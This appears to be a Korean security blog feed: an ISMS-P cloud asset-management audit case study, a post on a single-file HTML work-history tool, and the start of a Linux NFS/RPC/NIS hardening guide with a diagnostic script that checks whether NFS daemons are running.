서비스	프로젝트 관리 솔루션(PMS) SaaS
개인정보 보유 규모	약 45만 건
인프라	AWS + 온프레미스 하이브리드
아키텍처	Kubernetes 기반 MSA
주요 담당	인프라팀
주요 업무	클라우드 인프라 운영 및 자산관리

A사는 기존 온프레미스 데이터센터에서 AWS 중심의 클라우드 환경으로 인프라를 단계적으로 이전하고 있다.

마이그레이션 과정에서 개발·테스트·운영 환경이 동시에 변경되고 있으며, CI/CD 파이프라인을 통해 클라우드 리소스가 자동으로 생성되고 삭제되고 있다.

문제는 기존 정보자산 관리 절차가 이러한 변화 속도를 충분히 반영하지 못하고 있다는 점이다.

3. 기존 정보자산 관리 절차

A사의 정보자산 관리 절차는 다음과 같이 운영되고 있다고 가정한다.

신규 자산 도입
      ↓
자산 식별
      ↓
자산관리대장 등록
      ↓
중요도 분류
      ↓
소유자 지정
      ↓
보호대책 적용
      ↓
정기적인 현황 갱신

절차 자체에는 문제가 없어 보인다.

하지만 이 절차가 클라우드 리소스의 생성과 변경 과정과 연결되어 있는지가 중요하다.

A사는 신규 클라우드 리소스를 생성할 때마다 인프라팀에서 수동으로 자산관리대장을 갱신하도록 운영하고 있었다.

반면 실제 클라우드 환경에서는 DevOps 파이프라인을 통해 하루에도 여러 개의 리소스가 생성되고 있었다.

결과적으로 다음과 같은 차이가 발생하기 시작했다.

[관리체계]

자산 생성
   ↓
인프라팀 전달
   ↓
자산대장 등록

[실제 클라우드]

Git Commit
   ↓
CI/CD
   ↓
Cloud Resource 생성
   ↓
서비스 배포

두 과정이 서로 연결되어 있지 않은 것이다.

4. 현장 인터뷰

심사원

정보자산 식별과 자산별 소유자 지정은 어떤 절차로 이루어지고 있습니까?

인프라팀 김 과장

당사는 정보자산 관리 지침에 따라 신규 자산을 도입하면 자산 식별번호를 부여하고 자산관리대장에 등록합니다.

이후 해당 자산을 사용하는 부서를 확인하고 소유자를 지정합니다.

정기적으로 자산 현황도 갱신하고 있습니다.

심사원

최근 클라우드 전환으로 자산이 많이 증가했는데, 실제 AWS 환경과 자산관리대장은 어떤 방식으로 비교하고 있습니까?

김 과장

현재는 정기적으로 클라우드 콘솔을 확인하고 주요 운영자산을 대장에 반영하고 있습니다.

다만 개발이나 테스트 과정에서 자동으로 생성되는 임시 리소스까지 모두 수동으로 등록하기에는 현실적으로 어려움이 있습니다.

일부 리소스는 클라우드 콘솔에서만 확인되고 자산관리대장에는 별도로 등록되지 않는 경우도 있습니다.

심사원

그렇다면 자산관리대장에 등록되지 않은 리소스는 중요도가 낮다고 판단할 수 있습니까?

김 과장

그 부분을 명확하게 구분하는 기준은 아직 마련되어 있지 않습니다.

5. 여기서 중요한 것은 '미등록' 자체가 아니다

이 인터뷰에서 가장 먼저 확인해야 할 부분은 다음이다.

자산관리대장에 없는 리소스가 존재한다는 사실만으로 결함을 판단할 수 있는가?

반드시 그렇지는 않다.

예를 들어 다음과 같은 리소스를 생각해 볼 수 있다.

개발 테스트용 EC2
임시 EBS
일회성 Lambda
CI/CD 과정에서 생성되는 임시 리소스

이러한 리소스를 조직의 정보자산 관리 기준상 어떻게 분류하고 관리하는지는 조직의 절차와 자산관리 기준을 함께 확인해야 한다.

반면 다음과 같은 자산이라면 이야기가 달라진다.

고객 개인정보 DB
PMS 핵심 서비스 서버
인증 서버
중요 로그 저장소
백업 저장소
보안관제 시스템

이러한 중요 정보자산이 관리체계에서 누락되어 있고,

소유자가 지정되지 않았거나
중요도가 분류되지 않았거나
보호대책이 적용되지 않거나
정기적인 점검 대상에서도 제외된다면

정보자산 관리체계가 실제 운영환경을 제대로 반영하고 있는지 확인할 필요가 있다.

6. 현장 증적 ① — 클라우드 인벤토리

다음은 가상의 AWS 인벤토리 조회 결과다.

[Cloud Inventory]

Resource                         Environment      Owner
-------------------------------------------------------------
PMS-Core-DB                     Production       db-admin
Legacy-Sync-Worker              Migration        dev-team
PMS-Migration-Backup            Migration        infra-team
PMS-Web-01                      Production       service-team
PMS-API-02                      Production       service-team

이 중 일부 리소스에는 다음과 같은 관리정보가 설정되어 있었다.

Environment = Production
Service     = PMS-Core
Owner       = db-admin
AssetID     = UNREGISTERED

또 다른 리소스에서는 다음과 같이 확인되었다.

Environment = Migration
Service     = Legacy-Sync
Owner       = dev-team
AssetID     = NONE

여기서 단순히 AssetID = NONE이라는 결과만 가지고 결함을 확정해서는 안 된다.

먼저 조직의 자산관리 절차에서 해당 유형의 리소스를 어떤 범위로 관리하도록 정하고 있는지 확인해야 한다.

7. 현장 증적 ② — 정보자산 관리대장

가상의 정보자산 관리대장은 다음과 같았다.

[정보자산 관리대장]

자산번호       자산명              중요도    소유부서
---------------------------------------------------------
AST-001       사내 그룹웨어       상        경영지원팀
AST-002       PMS 인증서버       상        인프라팀
AST-003       고객 DB           최상      개발본부

관리대장의 최종 갱신일은 클라우드 전환이 본격화되기 이전이었다.

이 상태에서 AWS 인벤토리와 관리대장을 비교하자 다음과 같은 문제가 발견되었다.

실제 클라우드 환경
       │
       ├── 중요 운영자산
       ├── 개발/테스트 자산
       ├── 임시 리소스
       └── 백업/저장소
       
       ↓ 비교

정보자산 관리대장
       │
       ├── 기존 온프레미스 자산
       └── 일부 클라우드 자산

문제는 단순히 숫자가 맞지 않는다는 것이 아니다.

실제 보호해야 할 정보자산이 무엇인지 조직이 일관된 기준으로 식별하고 있는지 확인하기 어려운 상태라는 것이 핵심이다.

8. ISMS-P 2.1.3 정보자산 관리 관점

ISMS-P의 정보자산 관리에서는 정보자산의 용도와 중요도에 따른 취급 절차 및 보호대책을 수립·이행하고, 자산별 책임소재를 명확하게 관리하는 것이 핵심이다.

따라서 클라우드 환경에서는 단순히 다음과 같이 접근하는 것보다,

"AWS 리소스가 자산대장에 모두 등록되어 있는가?"

다음과 같이 질문하는 것이 적절하다.

"조직이 정의한 정보자산 관리 범위에 해당하는 클라우드 자산이 식별되고 있는가?"

"해당 자산의 중요도가 분류되어 있는가?"

"자산별 소유자와 책임소재가 명확한가?"

"중요 자산에 필요한 보호대책이 적용되고 있는가?"

"클라우드 자산의 생성·변경·삭제가 자산관리 절차에 반영되는가?"

이러한 관점에서 보면 정보자산 관리는 단순한 대장 관리 업무가 아니다.

9. 결함으로 판단할 수 있는 핵심 지점

이번 사례에서 보다 설득력 있는 결함 포인트는 다음과 같다.

핵심 문제

클라우드 환경에서 생성·변경되는 정보자산을 식별하고 소유자를 지정하는 관리체계가 실제 운영환경과 충분히 연계되지 않고 있었다.

예를 들어 고객 개인정보 DB가 실제 운영 중인데도,

자산대장 미등록
      +
소유자 미지정
      +
중요도 미분류
      +
보호대책 관리대상 제외

상태라면 단순한 문서 누락으로 보기 어렵다.

반면 개발 테스트용 임시 리소스가 별도의 기준에 따라 관리되고 있다면 반드시 기존 자산대장에 동일한 방식으로 등록해야 한다고 단정할 필요는 없다.

10. 결함보고서 형태로 정리하면

[결함] 클라우드 환경의 정보자산 식별 및 책임소재 관리가 실제 운영환경과 일치하지 않음

운영현황

A사는 온프레미스 환경에서 AWS 기반 하이브리드 환경으로 인프라를 전환하고 있으며, CI/CD 및 DevOps 환경을 통해 클라우드 리소스를 생성·변경하고 있다.

회사는 정보자산 관리 절차에 따라 자산별 중요도 및 소유자를 지정하고 자산관리대장을 정기적으로 갱신하고 있으나, 클라우드 리소스의 생성·변경 과정과 기존 자산관리 절차가 직접적으로 연계되어 있지 않다.

확인사항

클라우드 인벤토리와 정보자산 관리 현황을 비교한 결과, 일부 운영 리소스가 자산관리 체계에서 식별되지 않았으며, 일부 리소스는 소유자 또는 중요도 정보가 명확하게 관리되지 않고 있었다.

또한 클라우드 환경의 자산 변동사항을 정기적으로 식별하여 자산관리대장 및 관련 관리정보에 반영하는 기준이 명확하게 운영되고 있지 않았다.

판단 포인트

이에 따라 조직에서 관리 대상으로 정의한 정보자산에 대해 실제 클라우드 환경에서의 자산 식별, 중요도 분류 및 책임소재 지정이 적절하게 이루어지고 있는지 확인이 필요하다.

근거목록

클라우드 자산 인벤토리 조회 결과
정보자산 관리대장
정보자산 관리 절차서
클라우드 자산 생성·변경 절차
담당자 인터뷰
중요 자산별 소유자 지정 현황

11. 원인은 '클라우드가 많아서'가 아니다

문제의 원인을 단순히

"클라우드 리소스가 너무 많다."

라고 설명하면 개선방향도 단순히 인력을 늘리는 것으로 끝나기 쉽다.

실제 근본 원인은 다음에 가깝다.

기존 자산관리 절차
       ↓
수동 등록 중심
       ↓
클라우드 자동 생성
       ↓
관리 프로세스와 연결되지 않음
       ↓
자산 식별 지연
       ↓
소유자·중요도 관리 지연
       ↓
보호대책 관리 누락 가능성

즉, 자산관리 프로세스와 클라우드 자산 생성 프로세스가 분리되어 있다는 것이 핵심이다.

12. 정보자산 관리에서 가장 중요한 4가지

클라우드 환경의 정보자산 관리는 다음 네 가지 요소를 연결해서 보는 것이 좋다.

① 식별

무엇을 보호해야 하는지 식별한다.

EC2
RDS
S3
EKS
Backup

단순 리소스 목록을 확보하는 것에서 끝나지 않고 실제 업무와 데이터 관점에서 중요한 자산을 식별한다.

② 중요도

해당 자산이 조직에 얼마나 중요한지 분류한다.

예:

PMS 고객 DB
    ↓
개인정보 포함
    ↓
업무 중요도 높음
    ↓
높은 보호수준 필요

③ 책임소재

누가 해당 자산을 관리하고 보안상 책임을 가지고 있는지 확인한다.

예:

PMS DB
 ├── 서비스 오너
 ├── 인프라 담당
 └── DB 운영 담당

특히 클라우드에서는 "AWS가 운영하니까 AWS가 책임진다"는 식으로 자산 소유자를 대신할 수 없다.

클라우드 사업자가 제공하는 인프라와 조직이 운영하는 정보자산의 책임 범위를 구분해야 한다.

④ 보호대책

자산의 중요도에 따라 필요한 보호대책을 적용한다.

중요도 상
   ↓
접근통제
암호화
백업
모니터링
취약점 관리
변경관리

따라서 자산관리의 최종 목적은 대장을 최신 상태로 만드는 것이 아니라 식별된 자산에 필요한 보호대책이 실제로 적용되도록 하는 것이다.

13. 개선 방향 ① — 클라우드 인벤토리를 기준정보로 활용

수동으로 자산대장을 처음부터 작성하는 방식보다 클라우드 인벤토리를 자동으로 수집하는 구조가 적합하다.

예를 들어 다음과 같은 흐름을 구성할 수 있다.

AWS Resource Inventory
        ↓
자산 식별
        ↓
태그 확인
        ↓
Owner 확인
        ↓
Environment 확인
        ↓
중요도 분류
        ↓
자산관리 시스템 반영

AWS API 또는 CSP의 인벤토리 기능을 이용하면 현재 환경에 존재하는 리소스를 주기적으로 확인할 수 있다.

다만 클라우드 인벤토리 자체를 정보자산 관리대장과 동일한 것으로 보는 것도 적절하지 않다.

클라우드 인벤토리는 기술적인 리소스 목록이고, 정보자산 관리는 업무 중요도와 책임소재까지 포함하는 관리체계이기 때문이다.

14. 개선 방향 ② — 필수 태그 기준을 만든다

클라우드 자산에 다음과 같은 최소 관리정보를 부여할 수 있다.

Environment
Service
Owner
DataClass
Criticality
AssetID
ExpirationDate

예를 들어 운영 DB라면 다음과 같이 관리할 수 있다.

Environment = Production
Service     = PMS
Owner       = DB운영팀
DataClass   = PersonalInformation
Criticality = High
AssetID     = AST-2026-021

개발 테스트용 임시 리소스라면,

Environment = Development
Owner       = DevTeam
Criticality = Low
ExpirationDate = 2026-10-15

와 같이 관리할 수 있다.

이렇게 하면 자산관리의 핵심 정보가 클라우드 리소스와 함께 이동하게 된다.

15. 개선 방향 ③ — 자산 생성 단계에서 관리정보를 강제한다

더 효과적인 방법은 리소스 생성 이후에 찾아다니는 것이 아니라 생성 단계에서 관리정보를 요구하는 것이다.

개발자가 IaC 작성
       ↓
필수 태그 검증
       ↓
Owner 확인
       ↓
Environment 확인
       ↓
중요도 확인
       ↓
배포

필수 항목이 누락된 경우 배포 단계에서 예외를 발생시키는 방식도 검토할 수 있다.

다만 운영환경에서는 모든 리소스에 동일한 통제를 적용하기보다 자산 유형과 환경에 따라 필수항목을 정의하는 것이 현실적이다.

16. 개선 방향 ④ — 예외 자산을 관리한다

클라우드 환경에서는 모든 리소스를 동일한 기준으로 관리하기 어렵다.

따라서 다음과 같이 예외를 별도로 관리할 수 있다.

리소스상태예외 사유만료일담당자

Migration-EC2	임시	마이그레이션	2026-10-15	인프라팀
Test-RDS	테스트	개발환경	2026-10-10	개발팀
Backup-S3	운영	백업 목적	-	인프라팀

중요한 것은 예외가 존재하지 않도록 만드는 것이 아니라,

예외가 왜 존재하는지, 누가 책임지는지, 언제 종료되는지를 관리하는 것

이다.

17. 자동 점검 구조

자산관리 자동화는 다음과 같이 구성할 수 있다.

[Cloud Inventory]
       ↓
[Resource Collection]
       ↓
[Tag Validation]
       ↓
[Owner Validation]
       ↓
[Criticality Validation]
       ↓
[Asset Register Comparison]
       ↓
      ┌──────────────┐
      │              │
     정상           예외
      │              │
      ▼              ▼
   기록/갱신      담당자 알림
                     ↓
                  조치/예외승인

여기서 중요한 것은 미등록 리소스를 발견했다고 바로 차단하거나 삭제하는 것이 아니다.

먼저 다음을 판단해야 한다.

관리대상 자산인가?
      ↓
예외 자산인가?
      ↓
임시 자산인가?
      ↓
실제 서비스에 사용되는가?
      ↓
누가 소유하는가?

그 후 필요한 조치를 수행한다.

18. 자동화 예시

다음은 개념적인 점검 로직이다.

resources = get_cloud_resources()

for resource in resources:

    if not resource.owner:
        create_exception(
            resource,
            reason="Owner 미지정"
        )

    elif not resource.environment:
        create_exception(
            resource,
            reason="Environment 미지정"
        )

    elif resource.environment == "Production":
        check_asset_register(resource)

    elif resource.environment == "Migration":
        check_expiration_date(resource)

실제 운영환경에서는 사용하는 CSP와 자산관리시스템에 맞게 구현해야 한다.

핵심은 코드 자체가 아니다.

클라우드 환경의 변화가 정보자산 관리체계에 자동으로 전달되는 구조를 만드는 것이 목적이다.

19. 개선 후 어떤 증적을 남겨야 할까?

정보자산 관리 개선에서는 다음과 같은 증적을 확보할 수 있다.

정책·절차

정보자산 관리 절차
정보자산 분류 기준
정보자산 중요도 기준
자산 소유자 지정 기준
클라우드 자산 관리 기준
예외 자산 관리 절차

기술적 증적

클라우드 인벤토리 조회 결과
Resource Tagging 결과
자산관리시스템 등록 현황
태그 검증 결과
Owner 미지정 탐지 결과
예외 자산 목록
자산 변경 이력

운영 증적

정기 자산 점검 결과
신규 자산 등록 기록
자산 소유자 변경 기록
폐기 자산 기록
미등록 자산 조치 결과
예외 승인 기록

20. 심사에서 이어서 확인할 질문

정보자산 관리 현황을 확인할 때는 단순히 자산대장만 요청하는 것보다 다음 질문을 함께 확인할 수 있다.

Q1. AWS에서 새로운 리소스를 생성하면 자산관리팀은 어떻게 알 수 있는가?

수동 통보인지 자동 연계인지 확인한다.

Q2. 모든 클라우드 리소스를 정보자산으로 관리하는가?

조직의 자산관리 기준과 관리범위를 확인한다.

Q3. 임시 리소스는 어떻게 관리하는가?

임시 리소스의 생성 목적과 만료일, 담당자를 확인한다.

Q4. 운영 DB의 소유자는 누구인가?

부서 단위가 아니라 실제 책임소재가 명확한지 확인한다.

Q5. 자산의 중요도는 어떤 기준으로 결정하는가?

개인정보, 업무 중요도, 서비스 영향도 등을 고려하는지 확인한다.

Q6. 자산이 삭제되면 자산대장에서는 어떻게 처리하는가?

운영 종료와 자산관리 종료가 연결되는지 확인한다.

Q7. 자산관리대장과 실제 클라우드 환경의 차이를 어떻게 탐지하는가?

정기 점검인지 자동화인지 확인한다.

21. 이번 사례의 핵심 리스크

정보자산 관리가 제대로 되지 않으면 가장 먼저 발생하는 문제는 보안관리의 사각지대다.

예를 들어 고객 개인정보 DB가 자산관리 대상에서 빠져 있다면 다음과 같은 문제가 연쇄적으로 발생할 수 있다.

자산 미식별
   ↓
소유자 불명확
   ↓
중요도 미분류
   ↓
보호대책 적용 기준 불명확
   ↓
취약점 점검 누락 가능
   ↓
패치 및 변경관리 누락 가능
   ↓
사고 발생 시 책임소재 및 대응 지연

따라서 정보자산 관리는 단순한 행정업무가 아니라 다른 보안통제의 출발점이 된다.

22. 자주 발생하는 판단 오류

오류 1. "자산대장에 없으면 무조건 결함이다."

자산관리대상 범위와 조직의 자산 식별 기준을 먼저 확인해야 한다.

모든 기술적 리소스가 동일한 방식으로 정보자산 관리대장에 등록되어야 한다고 단정하기보다는, 보호가 필요한 정보자산이 관리체계에서 누락되지 않았는지를 확인하는 것이 중요하다.

오류 2. "AWS 리소스는 모두 자산번호를 가져야 한다."

조직이 어떤 자산 식별체계를 사용하는지 먼저 확인해야 한다.

클라우드 리소스 ARN, 태그, CMDB ID, 서비스 ID 등 여러 식별자를 조합하여 관리할 수도 있다.

중요한 것은 식별자가 하나인지 여부가 아니라 자산을 추적할 수 있고 책임소재와 연결되는지다.

오류 3. "실시간으로 자산대장과 AWS가 100% 일치해야 한다."

클라우드 환경에서는 리소스가 지속적으로 생성·변경·삭제된다.

따라서 실시간 일치 여부 자체를 요구사항으로 단정하기보다는 조직이 정한 주기와 방법에 따라 자산 변동을 식별하고 관리하는 통제가 실제로 작동하는지를 확인하는 것이 적절하다.

오류 4. "태그만 있으면 자산관리가 끝난다."

태그는 중요한 관리수단이지만 자산관리 자체와 동일하지 않다.

다음 정보가 실제 업무와 연결되어야 한다.

리소스
 ↓
서비스
 ↓
정보자산
 ↓
중요도
 ↓
소유자
 ↓
보호대책

오류 5. "클라우드 콘솔에 있으니 관리되고 있다."

클라우드 콘솔에서 리소스를 조회할 수 있다는 것과 조직의 정보자산 관리체계에서 해당 자산을 관리하고 있다는 것은 다른 문제다.

특히 소유자, 중요도, 보호대책, 변경이력 등이 관리되지 않는다면 별도의 관리체계가 필요하다.

23. 실무 점검 체크리스트

정보자산 식별

조직의 정보자산 관리 범위가 정의되어 있는가?
클라우드 환경이 정보자산 관리 범위에 포함되어 있는가?
AWS 등 클라우드 인벤토리를 정기적으로 확인하는가?
중요 정보가 저장된 자산을 식별할 수 있는가?
개발·테스트·운영 자산을 구분하고 있는가?

중요도 관리

자산 중요도 분류 기준이 존재하는가?
개인정보 포함 여부를 확인하는가?
서비스 중요도를 반영하는가?
중요도에 따라 보호대책이 달라지는가?

책임소재

자산별 소유자가 지정되어 있는가?
소유자가 변경될 경우 관리정보가 갱신되는가?
운영팀·개발팀·보안팀의 역할이 구분되어 있는가?

클라우드 운영

신규 리소스 생성 시 관리정보가 부여되는가?
필수 태그 기준이 존재하는가?
Owner 태그 또는 이에 준하는 책임정보가 있는가?
임시 리소스의 만료일을 관리하는가?
미등록 또는 관리정보 누락 리소스를 탐지하는가?
예외 리소스를 별도로 관리하는가?

변경 및 종료

리소스 변경 시 자산정보도 갱신되는가?
리소스 삭제 시 자산관리 상태도 종료되는가?
자산관리대장과 실제 클라우드 환경을 정기적으로 비교하는가?
불일치 사항에 대한 조치 이력이 남아 있는가?

24. 이 사례에서 얻을 수 있는 핵심 교훈

클라우드 환경에서 정보자산 관리의 핵심은 자산관리대장을 최신 상태로 만드는 것 자체가 아니다.

더 중요한 것은 다음의 연결이다.

클라우드 리소스
      ↓
정보자산 식별
      ↓
중요도 분류
      ↓
소유자 지정
      ↓
보호대책 적용
      ↓
변경사항 관리
      ↓
종료 및 폐기

기존 온프레미스 환경에서는 사람이 자산을 등록하면서 이 과정이 자연스럽게 연결되었다.

하지만 클라우드에서는 다음과 같이 움직인다.

개발자
  ↓
Git
  ↓
CI/CD
  ↓
Cloud Resource

따라서 클라우드 리소스의 생성·변경 프로세스 자체를 정보자산 관리체계와 연결하는 것이 중요하다.

25. 마무리

클라우드 환경에서는 정보자산의 생성과 변경이 빠르게 발생한다.

이 때문에 기존의 수동 자산관리 방식만으로는 실제 환경을 정확하게 파악하기 어려울 수 있다.

하지만 이를 단순히

"자산관리대장에 모든 AWS 리소스를 등록해야 한다."

라고 접근하는 것도 적절하지 않다.

ISMS-P 2.1.3 관점에서 보다 중요한 질문은 다음과 같다.

보호해야 할 정보자산을 식별하고 있는가?

자산의 중요도를 적절하게 분류하고 있는가?

자산별 책임소재가 명확한가?

중요도에 따른 보호대책이 적용되고 있는가?

클라우드 환경의 생성·변경·삭제가 정보자산 관리체계에 반영되고 있는가?

이번 사례에서 발견된 문제도 결국 "자산대장의 숫자가 맞지 않는다"는 문제가 아니다.

핵심은,

실제 클라우드 환경에서 운영되는 정보자산을 조직의 관리체계가 적시에 식별하고, 중요도와 책임소재를 연결하며, 필요한 보호대책을 적용할 수 있는 구조를 갖추고 있는가

에 있다.

따라서 클라우드 환경의 정보자산 관리는 다음과 같은 구조로 발전시키는 것이 바람직하다.

[Cloud Inventory]
       ↓
[자산 식별]
       ↓
[중요도 분류]
       ↓
[소유자 지정]
       ↓
[보호대책 적용]
       ↓
[정기 검증]
       ↓
[변경·종료 관리]

결국 정보자산 관리의 목적은 자산관리대장을 채우는 것이 아니라, 보호해야 할 자산을 빠뜨리지 않고 책임과 보호대책을 연결하는 것이다.

한 줄 정리

클라우드 정보자산 관리는 모든 리소스를 수동으로 대장에 등록하는 문제가 아니라, 보호가 필요한 정보자산을 식별하고 중요도·소유자·보호대책을 실제 클라우드 환경과 연결하는 관리체계를 만드는 문제다.

참고자료

ISMS-P 인증기준 — 2.1 정책, 조직, 자산관리
ISMS-P 인증기준 안내서
ISMS-P 세부점검항목
정보보호 및 개인정보보호 관리체계(ISMS-P) 운영 관련 자료
AWS Resource Groups Tagging API 및 클라우드 자산 관리 관련 기술문서

별도 서버 없이 HTML 파일 하나로 끝내는 '프로젝트 작업 히스토리 관리자' 활용법

보안실무자J — Tue, 15 Sep 2026 11:53:38 +0900

프로젝트를 진행하거나 다양한 시설·장비를 유지보수할 때, 가장 중요한 것 중 하나가 바로 '작업 기록의 체계적인 관리'입니다. 하지만 매번 거창한 관리 시스템을 도입하거나 서버와 DB를 구축하는 것은 여간 번거로운 일이 아닙니다.

이번 글에서는 별도의 서버 설치 없이 브라우저에서 단 하나의 HTML 파일로 실행되는 '프로젝트 히스토리 관리자' 프로그램의 주요 기능과 사용법을 안내해 드리고자 합니다.

웹 기술(HTML5, Tailwind CSS, JavaScript)만으로 구성되어 있어 복잡한 과정 없이 파일을 열기만 하면 즉시 업무에 활용할 수 있습니다.

주요 기능 요약

이 관리 도구는 누구나 직관적으로 사용할 수 있도록 필수 기능 위주로 구성되어 있습니다.

서버 없는 자동 저장 (LocalStorage): 작성한 모든 기록은 브라우저 내부 저장소에 안전하게 자동 저장됩니다.
JSON 백업 및 복원: 데이터를 파일 형태로 저장(export)하거나, 다른 PC에서 불러와(import) 이어 쓸 수 있습니다.
3단계 계층 구조 자동 정렬: 등록된 데이터는 프로젝트 ➔ 작업 일자 ➔ 대상 장비 순으로 자동 분류되어 정돈된 형태로 보여집니다.
원클릭 자동 입력 기능: 우측 히스토리에서 프로젝트명이나 장비명을 클릭하면 좌측 입력창에 해당 정보가 자동으로 세팅됩니다.
맞춤형 PDF 보고서 출력: 전체 내역은 물론, 특정 프로젝트 내역만 필터링하여 깔끔한 보고서 형태로 인쇄 또는 PDF 수록이 가능합니다.
실시간 검색 및 상태별 배지: 키워드 검색 기능과 함께 점검, 교체, 완료, 메모 등 작업 성격에 따라 색상별 배지가 부여되어 파악이 용이합니다.

화면 구성 및 레이아웃

화면은 작업 효율성을 극대화하기 위해 2단 분할 레이아웃(Split Screen) 구조로 설계되어 있습니다.

1. 상단 컨트롤 바 (Top Navigation)

주요 버튼: 전체 PDF/인쇄, 저장 (JSON), 불러오기, 전체 초기화
전체 시스템의 제어 및 데이터 백업/복원을 담당하는 영역입니다.

2. 좌측 패널 (작업 등록 폼 & 현황 요약)

입력 항목: 프로젝트명, 대상 장비명, 작업 일자, 작업 구분, 세부 작업 내용(한 줄 요약), 상세 설명
스마트 자동 완성: 이전에 입력했던 프로젝트와 장비 이름이 목록으로 자동 추천되어 오탈자 없이 빠르게 입력할 수 있습니다.
전체 현황 요약: 현재 등록된 총 프로젝트 수와 전체 작업 건수를 실시간으로 집계해 보여줍니다.

3. 우측 패널 (타임라인 아코디언 트리)

검색 & 필터: 실시간 검색창과 프로젝트별 필터 드롭다운, 전체 접기/펼치기 버튼 제공
계층형 히스토리 카드: 프로젝트별로 그룹화되며, 날짜(최신순)와 장비별로 깔끔하게 접고 펼칠 수 있는 아코디언 형태로 나열됩니다.

핵심 동작 로직 살펴보기

프로그램이 작동하는 주요 핵심 로직 3가지를 간단히 소개해 드립니다.

1. 브라우저 저장소 및 JSON 데이터 백업

작성한 데이터는 브라우저의 localStorage에 즉시 저장되며, 파일 형태(JSON)로 손쉽게 내보내거나 가져올 수 있습니다.

// LocalStorage 데이터 읽기
function getHistories() {
    try {
        return JSON.parse(localStorage.getItem('project_work_histories') || '[]');
    } catch (e) {
        return [];
    }
}

// LocalStorage에 데이터 저장 후 화면 갱신
function saveHistories(data) {
    localStorage.setItem('project_work_histories', JSON.stringify(data));
    renderApp();
}

2. 3단계 계층 구조 자동 그룹화

입력된 개별 작업 데이터를 `프로젝트 ➔ 날짜 ➔ 장비` 형태의 중첩 구조로 자동 분류하여 화면에 트리 형태로 출력합니다.

// 데이터를 프로젝트/날짜/장비 순으로 그룹핑
const grouped = {};
filtered.forEach(item => {
    const pName = item.project || '기타 프로젝트';
    const eName = item.equipment || item.device || '미지정';
    const dStr = item.date;

    if (!grouped[pName]) grouped[pName] = {};
    if (!grouped[pName][dStr]) grouped[pName][dStr] = {};
    if (!grouped[pName][dStr][eName]) grouped[pName][dStr][eName] = [];
    
    grouped[pName][dStr][eName].push(item);
});

3. 인쇄 및 PDF 보고서 맞춤 스타일

인쇄 버튼을 누르면 문서 출력 시 불필요한 입력 폼이나 버튼 요소들은 자동으로 숨겨지며, 보고서 양식에 맞춰 깨끗하게 정돈됩니다.

/* 인쇄 및 PDF 출력용 CSS 규칙 */
@media print {
    body { background-color: #ffffff !important; color: #0f172a !important; }
    .no-print { display: none !important; } /* 화면용 UI 숨김 */
    .print-only { display: block !important; } /* 인쇄용 헤더 표시 */
    .accordion-body { display: block !important; } /* 접혀있는 모든 항목 펼침 */
}

---

## 초보자도 쉬운 4단계 사용 가이드

1. **파일 실행하기**
   제공된 `프로젝트 관리 V1.0.html` 파일을 다운로드한 뒤, 크롬이나 Edge 등 일반 웹 브라우저로 클릭하여 실행합니다.
2. **작업 등록하기**
   좌측 폼에 프로젝트명, 장비명, 날짜, 세부 내용을 입력한 뒤 **[히스토리 등록]** 버튼을 누릅니다.
3. **데이터 검색 및 수정**
   우측 상단 검색창에 장비 이름이나 작업 내용을 입력해 원하는 기록을 빠르게 찾을 수 있으며, 항목별 **[수정]** 및 **[삭제]**가 가능합니다.
4. **보고서 출력 및 데이터 백업**
   상단의 **[전체 PDF / 인쇄]** 버튼을 통해 보고서를 출력하거나, **[저장 (JSON)]** 버튼을 눌러 소중한 기록을 파일로 안전하게 보관하세요.

---

별도의 서버 설치 없이 파일 하나만으로 완벽한 작업 일지 시스템을 구축할 수 있다는 점이 이 도구의 가장 큰 장점입니다. 현장 업무나 개인 프로젝트 관리 시 유용하게 활용해 보시기 바랍니다.

---

프로젝트 관리 V1.0.html

0.04MB

[리눅스 보안 점검 요약] 서비스 관리 (U-39~U-43) 종합 진단 및 실무 조치 가이드

보안실무자J — Tue, 15 Sep 2026 11:23:44 +0900

NFS 및 RPC, NIS 서비스 관리 그룹(U-39~U-43)에 대한 자동 진단 스크립트 분석과 실무 조치 가이드입니다. 불필요한 네트워크 데몬 비활성화 및 안전한 조치 및 백업 절차를 통해 레거시 프로토콜의 보안 위협을 최소화하는 방안을 제시합니다.

1. NFS 및 RPC 서비스 보안 점검 항목 종합 요약

점검코드	점검 명칭	주요 점검 대상 파일	판단 기준 (양호)	위험도
U-39	불필요한 NFS 서비스 비활성화	프로세스, /etc/systemd/system/	NFS 서비스(nfsd, statd, mountd)가 비활성화된 경우	상
U-40	NFS 접근 통제	/etc/exports, /etc/exports.d/*	NFS 사용 시 특정 IP만 허용하고 no_root_squash옵션이 없는 경우	상
U-41	불필요한 automountd 제거	프로세스, autofs.service	automountd(autofs) 데몬이 비활성화되어 있는 경우	중
U-42	불필요한 RPC 서비스 비활성화	/etc/xinetd.d/*, rpcbind.service	불필요한 RPC 서비스(rstatd, rusersd 등)가 비활성화된 경우	중
U-43	NIS, NIS+ 점검	프로세스, ypserv, ypbind	NIS 관련 데몬(ypserv, ypbind 등)이 비활성화되어 있는 경우	상

2. 세부 항목별 진단 및 조치 가이드

2.1. [U-39] 불필요한 NFS 서비스 비활성화

① 점검 목적 및 개요

NFS(Network File System)는 네트워크를 통해 파일 시스템을 공유하는 서비스입니다. 인증 메커니즘이 취약한 구형 프로토콜 특성상, 업무상 불필요한 NFS 서비스가 활성화되어 있으면 인가되지 않은 사용자가 원격에서 파일 시스템에 접근하여 중요 데이터를 유출하거나 변조할 위험이 발생합니다.

② 자동 진단 스크립트 분석

# [상세 해설]: NFS 서비스 동작 여부를 저장할 변수 초기화
NFS_RUNNING="FALSE"

# [상세 해설]: systemctl 구동 상태 확인 및 ps 명령어로 nfsd, statd, mountd 프로세스 실행 여부 검사
if systemctl is-active --quiet nfs-server 2>/dev/null || ps -ef | grep -E "nfsd|statd|mountd" | grep -v "grep" >/dev/null; then
    NFS_RUNNING="TRUE"
fi

# [상세 해설]: NFS 서비스가 실행 중인 경우 경고 메시지 출력 및 U-40 연계 점검 안내
if [[ "$NFS_RUNNING" == "TRUE" ]]; then
    WARN "NFS 서비스가 동작 중입니다. 업무상 불필요한 경우 비활성화해야 합니다." "nfsd, statd, mountd 데몬 동작 확인"
    INFO "NFS 서비스를 반드시 사용해야 하는 경우, 다음 항목(U-40)의 접근 통제 설정을 확인하십시오." "업무 필요성 수동 점검 요망"
else
    OK "불필요한 NFS 서비스가 안전하게 비활성화되어 있습니다." "NFS 관련 데몬 프로세스 미동작"
fi
FINISH "[ U-39 ] 점검완료"

③ 수동 진단 및 조치 절차

서비스 상태 확인:

systemctl status nfs-server
